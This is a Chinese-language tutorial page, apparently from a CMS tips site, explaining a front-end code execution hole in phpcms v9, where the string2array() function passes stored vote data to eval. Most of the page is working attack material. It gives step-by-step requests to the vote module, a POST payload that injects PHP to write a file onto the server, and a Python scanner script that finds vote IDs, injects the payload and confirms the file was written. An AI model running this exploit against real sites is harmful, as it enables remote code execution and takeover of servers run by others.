您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
phpcms前台任意代码执行漏洞的方法实例
凡蕾2025-05-23phpcms教程已有人查阅
导读phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞/phpsso_server/phpcms/libs/functions/global.func.php
phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞
/phpsso_server/phpcms/libs/functions/global.func.php
1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据
附上一个用于bugscan检测脚本
/phpsso_server/phpcms/libs/functions/global.func.php
/**
* 将字符串转换为数组
*
* @paramstring$data字符串
* @returnarray返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
if($data == '''') return array();
eval("\$array = $data;");
return $array;
}
在文件/phpcms/modules/vote/index.php中,我们找到它的执行流程
/**
* 处理投票
*/
public function post(){
$subjectid = intval($_POST[''subjectid'']);
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//当前站点
$siteid = SITEID;
//判断是否已投过票,或者尚未到第二次投票期
$return = $this->check($subjectid);
switch ($return) {
case 0:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
case -1:
showmessage(L(''vote_voteyes''),"?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
break;
}
if(!is_array($_POST[''radio''])) showmessage(L(''vote_nooption''),''blank'');
$time = SYS_TIME;
$data_arr = array();
foreach($_POST[''radio''] as $radio){//接收POST传递的radio并转换为$radio数组
$data_arr[$radio]=''1'';
}
$new_data = array2string($data_arr);//转成字符串存入数据库中
//添加到数据库
$this->vote_data->insert(array(''userid''=>$this->userid,''username''=>$this->username,''subjectid''=>$subjectid,''time''=>$time,''ip''=>$this->ip,''data''=>$new_data));
//把字符串$new_data放到data里面
//查询投票奖励点数,并更新会员点数
$vote_arr = $this->vote->get_one(array(''subjectid''=>$subjectid));
pc_base::load_app_class(''receipts'',''pay'',0);
receipts::point($vote_arr[''credit''],$this->userid, $this->username, '''',''selfincome'',L(''vote_post_point''));
//更新投票人数
$this->vote->update(array(''votenumber''=>''+=1''),array(''subjectid''=>$subjectid));
showmessage(L(''vote_votesucceed''), "?m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");
}
/**
*
* 投票结果显示
*/
public function result(){
$siteid = SITEID;
$subjectid = abs(intval($_GET[''subjectid'']));
if(!$subjectid)showmessage(L(''vote_novote''),''blank'');
//取出投票标题
$subject_arr = $this->vote->get_subject($subjectid);
if(!is_array($subject_arr)) showmessage(L(''vote_novote''),''blank'');
extract($subject_arr);
//获取投票选项
$options = $this->vote_option->get_options($subjectid);
//新建一数组用来存新组合数据
$total = 0;
$vote_data =array();
$vote_data[''total''] = 0 ;//所有投票选项总数
$vote_data[''votes''] = 0 ;//投票人数
//获取投票结果信息
$infos = $this->vote_data->select(array(''subjectid''=>$subjectid),''data'');
//循环每个会员的投票记录
foreach($infos as $subjectid_arr) {
extract($subjectid_arr);
$arr = string2array($data);//调用了string2array进入eval函数
foreach($arr as $key => $values){
$vote_data[$key]+=1;
}
$total += array_sum($arr);
$vote_data[''votes'']++ ;
}
$vote_data[''total''] = $total ;
//SEO设置
$SEO = seo(SITEID, '''', $subject, $description, $subject);
include template(''vote'',''vote_result'');
}
所以执行的过程就是1.首先找到一个可以投票的id参数subjectid
2.发起投票,post数据
/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1
subjectid=1&radio[]=);fputs(fopen(base64_decode(cmVhZG1lLnBocA),w),"vulnerable test");
3.然后我们再查看result,触发string2array函数
/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=1
4.再看看是否有readme.php文件存在。附上一个用于bugscan检测脚本
Python
# !/usr/bin/dev python
# -*- coding:utf-8 -*-
import re
import urllib
import urllib2
def get_vote_links(args):
vul_url = args
vote_url = ''%sindex.php?m=vote'' % vul_url
code, head, res, _, _ = curl.curl(vote_url)
ids = []
for miter in re.finditer(r''<a href=.*?subjectid=(?P<id>\d+)'', res, re.DOTALL):
ids.append(miter.group(''id''))
if len(ids) == 0:
return None
return list(set(ids))
def assign(service, args):
if service == ''phpcms'':
return True, args
pass
def audit(args):
vul_url = args
ids = get_vote_links(args)
if ids:
for i in ids:
exploit_url = ''%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1'' % (vul_url, i)
payload = {''subjectid'': 1,
''radio[]'': '');fputs(fopen(base64_decode(YnVnc2Nhbi5waHA=),w),"vulnerable test");''}
post_data = urllib.urlencode(payload)
curl.curl(''-d "%s" %s'' % (post_data, exploit_url))
verify_url = ''%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1'' % (vul_url, i)
curl.curl(verify_url)
shell_url = ''%sbugscan.php'' % vul_url
code, head, res, _, _ = curl.curl(shell_url)
if code == 200 and ''vulnerable test'' in res:
security_hole(vul_url)
pass
if __name__ == "__main__":
from dummy import *
audit(assign(''phpcms'', ''http:// .example.com/'')[1])
本文标签:
很赞哦! ()
下一篇:Phpcms安装开发教程
相关教程
图文教程
phpcms分页显示条数怎么修改
可以在phpcms\libs\functions\global.func.php文件进行修改。首先打开phpcms\libs\functions\global.func.php文件;
phpcmsv9判断用户是否登录的解决方法
phpcms v9判断用户是否登录?phpcms v9如何判断用户是否登录以及登陆后的标签写法问题
phpcmsv9表单实现问答咨询功能的方法
phpcms v9的留言板插件可以安装留言板,做问答咨询,那样的话有很多东西需要修改,也有人发现phpcms v9有个表单向导功能,只能留言,不能回复,今天仿站网
phpcms后台管理头部尾部替换方法
phpcms是一款非常便捷的网站管理软件,从网上下载好软件后放在wamp的 目录下,然后通过路径一步步安装就好了。数据库要写上自己数据库的名字和密码,如果没有密码则不写
相关源码
-
帝国cms7.5女性护肤搭配美妆潮流网站源码带数据4.5G本模板专为女性美容护肤行业设计,提供美容护肤、发型设计、女性健康、时尚化妆、娱乐新闻、服饰搭配等女性潮流资讯内容展示。采用帝国CMS7.5开发,同步生成电脑端和手机端,满足用户对美容时尚信息的获取需求。查看源码 -
(PC+WAP)院校学院职业学校机构协会网站开源源码下载本模板基于PbootCMS系统开发,为高等院校、职业学校等教育机构设计,特别适合展示学校概况、院系设置、招生信息等内容。采用双端适配技术,确保在PC和移动设备上都能获得良好的浏览体验。查看源码 -
(PC+WAP)五金机械设备营销型模板下载带在线留言为机械设备制造商设计的营销型模板,集成产品参数对比系统、产品展示模块和询价管理功能。采用PbootCMS开发内核,PHP7+运行环境。手工编写语义化HTML5结构,CSS3动画优化交互体验。查看源码 -
帝国cms淘宝客京东联盟网站整站源码下载本模板基于帝国CMS内核深度开发,为淘宝客行业量身定制。随着腾讯微信与淘宝生态的互联互通,淘宝客链接现可在微信、QQ等平台直接分享,为推广带来更多便利。模板特别优化了店铺推广功能,有效避免商品下架导致的链接失效问题,同时支持京东联盟等多平台商品推广。查看源码 -
(自适应)宽屏大气的净水器智能电子设备网站pbootcms源码下载本模板基于PbootCMS内核开发,为净水器设备、智能电子设备企业量身打造,采用响应式设计技术,可快速构建专业级企业官网。通过本模板可高效展示产品技术参数、解决方案及企业服务优势。查看源码 -
帝国cms7.5淘宝客电商品牌特价带手机站带会员模板下载为电商品牌特价展示设计的帝国CMS模板,集成PC端与移动端双平台适配。采用瀑布流商品布局,支持品牌分类聚合展示,突出特价促销视觉冲击力。查看源码
| 分享笔记 (共有 篇笔记) |
